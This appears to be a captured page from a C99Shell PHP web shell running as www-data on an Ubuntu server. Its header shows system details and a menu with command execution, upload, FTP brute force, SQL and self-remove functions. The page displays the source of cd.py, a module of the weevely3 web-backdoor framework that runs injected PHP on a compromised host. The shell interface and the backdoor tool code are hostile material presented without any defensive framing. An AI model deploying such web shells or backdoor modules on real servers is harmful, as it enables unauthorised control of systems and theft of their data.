!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/modules/file/   drwxr-xr-x
Free 13.19 GB of 57.97 GB (22.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     cd.py (1.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
from weevely.core import messages
from weevely.core.loggers import log
from weevely.core.module import Module
from weevely.core.vectors import ModuleExec
from weevely.core.vectors import PhpCode


class Cd(Module):
    """Change current working directory."""

    aliases = ["cd"]

    def init(self):
        self.register_info({"author": ["Emilio Pinna"], "license": "GPLv3"})

        self.register_arguments([{"name": "dir", "help": "Target folder", "nargs": "?"}])

    def run(self, **kwargs):
        # When no folder is specified, change folder to SCRIPT_NAME to
        # simulate the bash behaviour. If not available, use current dir.

        if not self.args.get("dir"):
            script_folder = ModuleExec("system_info", ["-info", "script_folder"]).load_result_or_run(
                result_name="script_folder"
            )

            self.args["dir"] = script_folder if script_folder else "."

        # The execution and result storage is done manually cause
        # no result has to be stored if the execution fails. This
        # is not simple to implement using
        # self.vectors.get_result(.., store_result).

        folder = PhpCode("""@chdir('${dir}')&&print(@getcwd());""", "chdir").run(self.args)

        if folder:
            self._store_result("cwd", folder)
        else:
            log.warning(messages.module_file_cd.failed_directory_change_to_s % (self.args["dir"]))

    def run_alias(self, line, cmd):
        # Run this alias independently from the shell_sh status
        return self.run_cmdline(line)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0075 ]--